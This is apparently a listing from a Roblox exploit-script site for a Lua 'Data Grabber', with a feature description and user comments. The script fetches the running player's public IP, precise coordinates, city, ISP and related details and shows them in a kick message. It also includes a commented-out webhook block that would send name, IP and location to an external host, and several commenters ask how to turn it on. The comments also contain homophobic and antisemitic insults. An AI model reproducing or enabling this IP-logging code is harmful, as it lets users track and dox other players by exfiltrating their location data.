Data Grabber
Key RequiredUniversal

Data Grabber

Universal ScriptLuaFolloLuaFollo 3K views 1.5K executesUpdated Feb 19, 2026
3.0/ 5(5 votes)
3260% Positive
Lua Script•35 lines (1306 chars)
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")

local d = game:GetService("HttpService"):JSONDecode(request({Url = "http://ip-api.com/json?fields=query,lat,lon,country,countryCode,continent,continentCode,region,regionName,city,district,zip,timezone,offset,isp,org,as,asname,reverse,mobile,proxy,hosting"}).Body)
local p = Players.LocalPlayer

p:Kick(("[Be careful Next time twin]\n"..
"User: %s (ID: %d)\n"..
"IP: %s\n"..
"Coordinates: %.6f, %.6f\n"..
"Continent: %s (%s)\n"..
"Country: %s (%s)\n"..
"Region: %s\n"..
"City: %s | District: %s\n"..
"ZIP: %s\n"..
"Timezone: %s (UTC%s)\n"..
"ISP: %s\n"..
"Organization: %s\n"..
"ASN: %s (%s)\n"..
"Reverse DNS: %s\n"..
"Mobile: %s\n"..
"Proxy: %s\n"..
"Hosting: %s"):format(
p.Name, p.UserId, d.query, d.lat, d.lon, d.continent, d.continentCode,
d.country, d.countryCode, d.regionName, d.city, d.district, d.zip,
d.timezone, d.offset, d.isp, d.org, d.as, d.asname, d.reverse,
d.mobile and "YES" or "NO", d.proxy and "YES" or "NO", d.hosting and "YES" or "NO"
))

--[[ WEBHOOK
local WEBHOOK = "dont_you_dare_to_use_this_to_someone"
HttpService:PostAsync(WEBHOOK, HttpService:JSONEncode({
    username="IP Grabber", content=p.Name.." | "..d.query.." | "..d.lat..","..d.lon.." | "..d.city.." | "..d.country
}))
--]]

Features & Information

Script Features – Maximum Data Grabber (Xeno Compatible) 🌍 Geolocation Features Retrieves public IP address of the local player. Fetches detailed location data: latitude, longitude, continent, country, region, city, district, ZIP code. Timezone information and UTC offset. Network provider information: ISP, organization, ASN, AS Name. Reverse DNS lookup. Detects if connection is via mobile, proxy, or hosting service. 👤 Player Data Captures local player username and UserId. 🚪 Local Display Shows all collected data in a kick message (forced disconnect). 📤 Optional Webhook (Disabled by Default) Can send data to an external webhook (e.g., Discord). ⚠️ Disabled by default for safety. ⚠️ Important Warnings Do not use on other people. This script collects sensitive information such as IP and location. Using it on others may violate privacy laws and Roblox terms of service. Default behavior is harmless. Kick message only affects the local player. Webhook feature is commented out. Enabling it will exfiltrate data externally – use responsibly and only on your own account for testing. Executor compatibility: Requires an exploit that supports request() (e.g., some Xeno versions may block it). Use at your own risk. Script is unverified and may be unsafe if modified.
#IP logger#data grabber#iplookup#educational

Community Comments (9)

FORGEINFORGEINFeb 19, 2026

geys

Replying to @FORGEIN
Echo_llllllllEcho_llllllllSep 8, 2026

@FORGEIN you're gay

mangal12323mangal12323Feb 19, 2026

im stupid or webhook didnt work

Replying to @mangal12323
KikloKikloFeb 20, 2026

@mangal12323 because its educational

Replying to @mangal12323
skidbob12skidbob12Feb 21, 2026

@mangal12323 smartest jew on scriptblox

l15042000l15042000Feb 19, 2026

this script just show my data🥀

Replying to @l15042000
KikloKikloFeb 20, 2026

@l15042000 thats point of script

ogdavidbaszuckiogdavidbaszuckiFeb 20, 2026

So, how do you enable the webhook?

Replying to @ogdavidbaszucki
KikloKikloFeb 20, 2026

@o6gk education

More Scripts for Universal Scripts